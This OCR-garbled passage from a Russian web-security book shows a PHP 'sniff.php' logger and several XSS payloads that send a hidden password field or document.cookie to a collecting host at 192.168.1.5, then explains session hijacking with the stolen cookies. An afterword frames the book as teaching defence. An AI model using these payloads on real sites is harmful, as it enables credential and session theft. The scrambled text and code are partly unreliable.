sniff.php — 310 mporpamMma xakepa, KOTOpas MPOCTO COXPAHSAET MEpeiaHHbIN
URL B xakoM-HUOYAbL XpaHunHiue, HapUMep, B TekcToBOM (aiine. [Ipumep Tako-
ro gaiina Moxer ObITh ClieIyIOMUM:
<?

Sf = fopen("snif.txt", "a");

fwrite($f, SREQUEST_URI);

fclose ($£) ;

print ("OK") ;

?>
B arom npumepe comepxkumoe URL coxpanserca B TekcroBoM ¢aiine snif.txt.
B nawewm ciyuae B 3ToT daiin nonaget cneayoias ctpoka: "/sniff.php?test”.

[oka Bpose HMUEro CTpawHoOro, xakep cam cebGe ornpasun coobuwenre “test”
u Web-calit noka He noctpanan. YcnoxxssaeM 3apady. Jomyctum, yro B dopme
oTnpaBkH cooflieHns ecTb HEBHAUMOE [OJIE passws, YEPE3 KOTOpOE MepenacTea
naponb:
<input type="hidden" name="passws" value="gwerty">
Kaxkabiil nonb3osarens BUANT CBOH napob, 8 yTobbl yBHUIeTs vyxoit, Heobxoan-
MO €ro nepexsaTurb. [[Ng 3TOro Xxakep MOXET BHEIPHTL Ha (opMy creayroitnil
JavaScript-kona:
<script>
document .location.href=u"http://192.168.1.5/8niff.php?"+

document .messageadd,.passws .value
</script>
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B atom npumepe ¢aitny sniff.php nepemaerca cosepkumoe HEBHAMMOrO moOJA.
Teneps B ¢aitne snif.txt xakep 6yner cobupars naponu A06pONOPAAOUHBIX MOMb-
30BaTesiel, U BO3SMOXKHO, YTO Ha YAOUKY Monaaercd ¥ aqMUHUCTPAaTOp.

Ho BepoarHocTh HailTH nono6HbIA cueHapuil cTpeMHTes K Hynto. HamHoro vate
naponu xpaHarca B Cookies, Ho u ux yxpacts He npobnema. JloctaTouHO TONIBKO
BHEOPUTH Ha PopMy creaytowmuil koa:
<script>
document.location.href="http://192.168.1.5/sniff.php?"+
document .cookie;

</script>
Bnaromapa ToMy, yto JavaScript umeer noctyn k Cookies, Mbi 6e3 npobnem mo-
XKEM OTIIPaBHUTb UX CBOEMY cLeHapuio. HOmycTUM, 4TO B CaMOM Hauase HaLlero
cueHapus B Cookies yCTaHaBIIMBAIOTCS CECAYIOLHE Ba 3HAHECHUA:
<?

setcookie ("user”, "admin®, time()}+5184000);

setcookie ("pass", "gwerty", time()+5184000};
7>
Tenepsb nocne ux nepexesara B aiine snif.txt Mpl yBUAHM crieayloLiee:
/sniff.php?user=admin;%$20pass=qwerty
Bot Tak BoT Xakepb! ¢ noMowbio XSS BopytoT naponH. EauscrseHHbiit Hegocra-
TOK BCEX MPUMEPOB, KOTOPLIE OIMMUCAHbI Bbillle, — OHH NMEPEHAINpPAB/AIOT M0Ab30-
Barens Ha Web-cTpaHuLly Xakepa. 3TO He OYeHb XOpOLLO, NIOTOMY YTO M0JIb30Ba-
TeAb MOXKET 3aNn0N03PUTD YTO-TO HenagHoe. Ho xakephb! Hailiyn 6onee HesaMeTHbIH
cnocob:
<script>
img = new Image();
img.src = "http://192.168.1.5/sniff.php?"+

document .cookie;
</script>
Cekper npocT — MbI IIPOCTO CO3aeM U3oOparkeHHE M MPHUCBAHUBAEM €My B Kave-
CTBE ajpeca Hail cueHapui. [a, 370 HenpasWAbHO, BEAb CUCHApHH HE ABgeTCA
u3obpakeHueM, HO 3ToT Meroa pabortaet. [IpH xenaHuu naxe MOXKHO nepeumMe-
HoBaTb ¢aiin sniff.php B sniff.gif, oT 3TOrO HUYEro He HaIMeHuUTCA.

Tenepb y xakepa ecTb UMA 1 Xel napons. Ecav Ha Web-calite paspelueH asToMma-
THUYECKHIT BXO, TO HeT HeobXxoaumocTH gaxke noabupath naponb. [0 B TOM, 4TO
XxaKkep MOXeT npocto moaMeHuTb cBou Cookies nmepexpBauyeHHbIMH W 32iTH Ha
Web-caiiT 6e3 kakoii-nubo aBTopu3auvu. BoT Tak BOT mpocTO W KpPacHBO Xakep
MOKET OCYLIECTBUTD B3JIOM.
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HecMmoTpa Ha TO, YTO Mbl pacCMOTPENH AOCTATOMHO MHOIO peanbHbIX MPUMEpPOB
B3n1omMa Web-caliToB, 8 HaACKCh, YTO Bbl He fyAeTe HCNONL30BATH MOMYYEHHYIO
HWHGOPMALMIO B HE3AKOHHBIX LeisX. JTa kHura 6buta HamMcaHa AJis TOro, YToOM
Bbl MOTJIM 3aLUMTHTBLCA OT yrpos3, npeacrasaseMbix MurepHeTom soobule u xake-
paMH B YaCTHOCTH.

[MepeBocnuThIBaThL XakepoB Oecrone3Ho, a MmocaauTh Bcex HepeanbHo. [lokaza-
TeNIbHbIE MPOLECCH NPOTHB B3NOMIUMKOB HUYErO XOPOIUEro He AalOT, IOTOMY YTO
MOJIOZIbIE H TANaHT/IHBbIE pe6ATa NPOAOKAIOT PUMEHATL CBOW 3HAHHSA BO BpEL.
Camoe crpalliHOe, YTO 60bIUMHCTBO U3 HUX AEHCTBUTEALHO TANAHTAUBLI U TPATAT
CBOW BO3MOXKHOCTH NMONYCTY.

BopoTbca ¢ xakepaMH HYXHO TOAbKO CO3aHHEM KayeCTBEHHOIO MpOrpaMMHOTrO
obecneuenus. [IporpaMMUCTbI JOMKHBI GObILE BHUMAHUSA YAENATb 6€30M1aCHOCTH
¥ CO31aBaTh NPOrpaMMbl HE AJIA TOrO, 4ToObl OHM nMilb 6b1 paboTanuy, a g Toro,
4yT0OBI OHK paboTasii He3ynpeuHo.

B nocneaHee Bpems Ha IpOrpaMMHUCTOB NMPOCTO OOpPYLUHAUCh BbICKa3bIBAHHA THIA
"ecqd ObI MOCTBI CTPOHITH MPOrPaMMHUCTBI, TO 110 HUM cTpaiuHo 66110 Obl X0AUTL".
5, Kak mpoOrpaMMHCT IMpeKpacHO 3T0 noHumaro. MHorma Mbl paccrnabnaemcs
W OeHCTBUTENbHO NMUUIEM Ko, AWilb 6b1 0H pabotan. MMeHHO Takoe OTHOWEHHO
O4Ye€Hb YaCTO CTAHOBUTCA MpUYUHON BCeX npobnem. Ecau nporpaMMHCTB! U aaMH=
HucTpaTopbl OynyT paboTaTh KaueCTBEHHEE, TO KOJHYECTBO B3JIOMOB pPE3KO CO-
KpaTUTCA.

OueHb CAOXKHO HAWTH OWIMOKY B clleHapusax Ha Takux Web-caiitax, kak Amazon,
Google ¥ gp. 3T0 NOTOMY, YTO UX BJaZE/bUb YAENAOT AOCTATOYHO MHOIO BHH-
Manua 6e3onacHocTH. JXKanb, 4TO HE BCe OTHOCATCS Tak e K cBoeit pabore.

[ToueMmy And 3aLIMTBI CBOETO AOMAa WAW MaLlXHBI Mbl YCTaHaBIUBAEM CaMbi€ NyY4s
IIME 3aMKM, CHTHAIM3aUMIO MW OaXke HaHuMaeM OxpaHy. A ang 3amutbhi Web-
CRiiTa He MOXKEM HAlATb Y€0BEKAa, KOTOPbIH NPOBEPHT CLUEHAPHH HA CONCPKAHHE
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ownbok u Hactpour Web-cepeep Tak, YTOOL Xakep He CMOI MOMY4MTb AOCTYII
K BaXKHbIM (paitnam B ciayuae HaxoxaeHHsA oWHOKH U OYAET NOCTOAHHO CACAKTD 32
6e3onacHoCTbIO.

SI Hapelch, YTO S CMOr [10Ka3aTh OCHOBHble Mpobiembl GezomacHocTH Web-
caiiToB, ¥ BbI YBUAE/H, OTKyda MOXKHO aaThb HenpuaTHocTed. Ho nanubiit 0630p
npobnem 6e30NacHOCTU He MOXKET OXBAaTHTh aOCOAIOTHO BCIO 3TY TeMy. XOpoIui
Xakep — mpogeccHOHan B MPOrpaMMHPOBAHHH U aAMHHUCTpUpoBaHuH. Ero 3Ha-
HUS MOMOraloT €My HckaTh owubku B 0OpaboTke mapaMeTpoB cCLEHapHeM WM
OLIWOKH AIOrHKH €ro BbINONHEHHS.

Yro MoxkHO nocoserosaTh BaM ewe? Utobbr sain Web-calit 6b11 6e3onachee, He-
o6xoguMO uMTaTh M H3y4aTh Kak MoxxHO Gonbiue. Her Tako#i vHCTPYKUMM UaM
KHHUTH, [TOCIE NPOYTEHHA KOTOPOit MOXKHO Oyner cka3ath, YTO Tenepb Bbi CMOXETE
HaCTPOMTb WM 3aNporpaMMHpOBaTh camblii 6e3zonacHblii Web-cepsep. Kak xake-
POM, TaK ¥ NPOrpaMMHCTOM HE POXOAIOTCA, HMH CTAHOBATCH, a U1 3TOrO HeoO-
XOAMMO YUTaATh U U3y4aTh, a r1aBHOe — NMpoboBaTh U He 60ATbcA OKU6aThCS.

Ecau y Bac BO3SHHIUIH BOMPOCHI, MPEANIOKEHHUA WM BbI HalliH OIMOKY B JaHHOH
paboTe, TO A Bceraa roroB OTBETHTh Ha gopyMe caiita http://www.vr-online.ru
UAH no anekTpoHHo#M noyre horrific@vr-oniine.ru.
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